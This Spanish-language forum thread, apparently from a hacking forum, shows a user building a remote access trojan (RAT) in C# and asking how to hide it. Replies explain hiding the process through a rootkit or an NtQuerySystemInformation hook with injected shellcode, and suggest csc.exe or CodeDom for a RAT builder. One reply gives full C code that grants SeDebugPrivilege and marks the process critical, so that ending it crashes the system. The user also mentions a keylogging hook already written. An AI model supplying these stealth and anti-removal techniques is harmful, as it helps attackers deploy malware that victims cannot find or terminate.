Buenas ,RAT realizado en visual basic 2017 con c# . Desde cero para aprender y me gustaría saber si:
* sabéis si es posible ocultar el nombre del proceso en el administrador de tareas .
* Como implementar un compilador dentro de mi propio rat para que la gente pueda introducir sus propias configuraciones (para que no tenga que descargar el visual basic para compilador y modificar las lineas).(Se me habia ocurrido que el ejecutable leyera desde un fichero de texto la configuraciones pero me parece cutre y la seguridad del programa mala).

Muchas gracias de antemano. Un saludo. :cf:
Para ocultar el proceso del administrador de tareas debes usar un Rootkit (En Wintos 7 y anteriores puedes borrar el propio ejecutable del ListBox), respecto a lo del compilador de C# (O Visual Basic, mencionaste ambos) tienes los ejecutables vbc.exe y csc.exe en la carpeta de Net Framework que son los dos Compiladores desde Linea de Comandos.

EDIT: Tambien puedes usar CodeDom: [Enlace externo eliminado para invitados]

//Regards.
Ikarus: Backdoor.VBS.SafeLoader
Agnitum: Trojan.VBS.Safebot.A
http://indeseables.github.io/
Para ocultar un proceso tienes que realizar un hook a la API NtQuerySystemInformation. Si el argumento SystemInformationClass es SystemProcessInformation (valor 5), recorres la linked list (argumento SystemInformation) hasta que el miembro ImageName o UniqueProcessId coincida con el que quieras ocultar y apuntas el puntero del offset actual con el siguiente. Hay varios ejemplos por internet pero te aviso que no se puede hacer desde Visual Basic totalmente, necesitarás inyectar un shellcode.
Muchas gracias por vuestra ayuda me equivoque con el lenguaje , utilizo visual studio 2017 espero pronto subir el programa para posibles mejoras. :thumbup:
luxizam escribió: 07 Sep 2017, 20:51 Muchas gracias por vuestra ayuda me equivoque con el lenguaje , utilizo visual studio 2017 como ide y de lenguaje c# espero pronto subir el programa para posibles mejoras. :thumbup:
El otro dia me tope con un Rat que desde el administrador de tares el boton finalizar proceso aparecia así:

Imagen


Desde varios como process explorer. Si por casualidad quieres hacerlo desaparecer para que no lo puedan finalizar, puedes mirarte esta opcion.
luxizam escribió: 12 Sep 2017, 01:26 No he entendido mucho lo que has querido decir , puedes volver a explicar con mas detalles porfavor
Seguramente es un RAT que usa la API NtSetInformationProcess para poner el proceso en modo crítico:
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
 
#pragma comment(lib,"ntdll.lib")
 
EXTERN_C NTSTATUS NTAPI RtlAdjustPrivilege(ULONG,BOOLEAN,BOOLEAN,PBOOLEAN);
EXTERN_C NTSTATUS NTAPI NtSetInformationProcess(HANDLE,ULONG,PVOID,ULONG);
 
int main()
{
    BOOLEAN bl;
    ULONG BreakOnTermination;
    NTSTATUS status;
    char cmd[10];
 
    //To set a process as critical process using NtSetInformationProcess function, the caller must have SeDebugPrivilege enabled.
 
    if(!NT_SUCCESS(RtlAdjustPrivilege(20,TRUE,FALSE,&bl)))
    {
        printf("Unable to enable SeDebugPrivilege. Make sure you are running this program as administrator.");
        return 1;
    }
 
    printf("Commands:\n\n");
 
    printf("on - Set the current process as critical process.\noff - Cancel the critical process status.\nexit - Terminate the current process.\n\n");
 
    while(1)
    {
        scanf("%s",cmd);
 
        if(!strcmp("on",cmd))
        {
            BreakOnTermination=1;
   
            status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG));
   
            if(status!=0)
            {
                printf("Error: Unable to set the current process as critical process. NtSetInformationProcess failed with status %#x\n\n",status);
            }
 
            else
            {
                printf("Successfully set the current process as critical process.\n\n");
            }
        }
 
        else if(!strcmp("off",cmd))
        {
            BreakOnTermination=0;
 
            status=NtSetInformationProcess((HANDLE)-1,0x1d,&BreakOnTermination,sizeof(ULONG));
 
            if(status!=0)
            {
                printf("Error: Unable to cancel critical process status. NtSetInformationProcess failed with status %#x\n\n",status);
            }
 
            else
            {
                printf("Successfully canceled critical process status.\n\n");
            }
        }
 
        else if(!strcmp("exit",cmd))
        {
            break;
        }
    }
 
    return 0;
}
[Enlace externo eliminado para invitados]
Blau creo que lo que me pasaste es para poner el proceso en estado critico por si el usuario finaliza el proceso chasea el sistema y mostrará un pantallazo azul .
Commands:

on - Set the current process as critical process.

off - Cancel the critical process status.

exit - Terminate the program. If you terminate the program whlie the critical process status is on, the system will crash!
Está escrito en c aunque yo programo en c# no sé si esas intrucciones irán sobre una dll pero ya hice un hook para coger las pulsaciones del teclado y estaba escrito en c#.
Buenos días , aún no me he rendido ... sigo buscando la forma de poner el proceso oculto o quizás poner como critico , podéis guiarme un poco más?
Responder

Volver a “Dudas y Preguntas”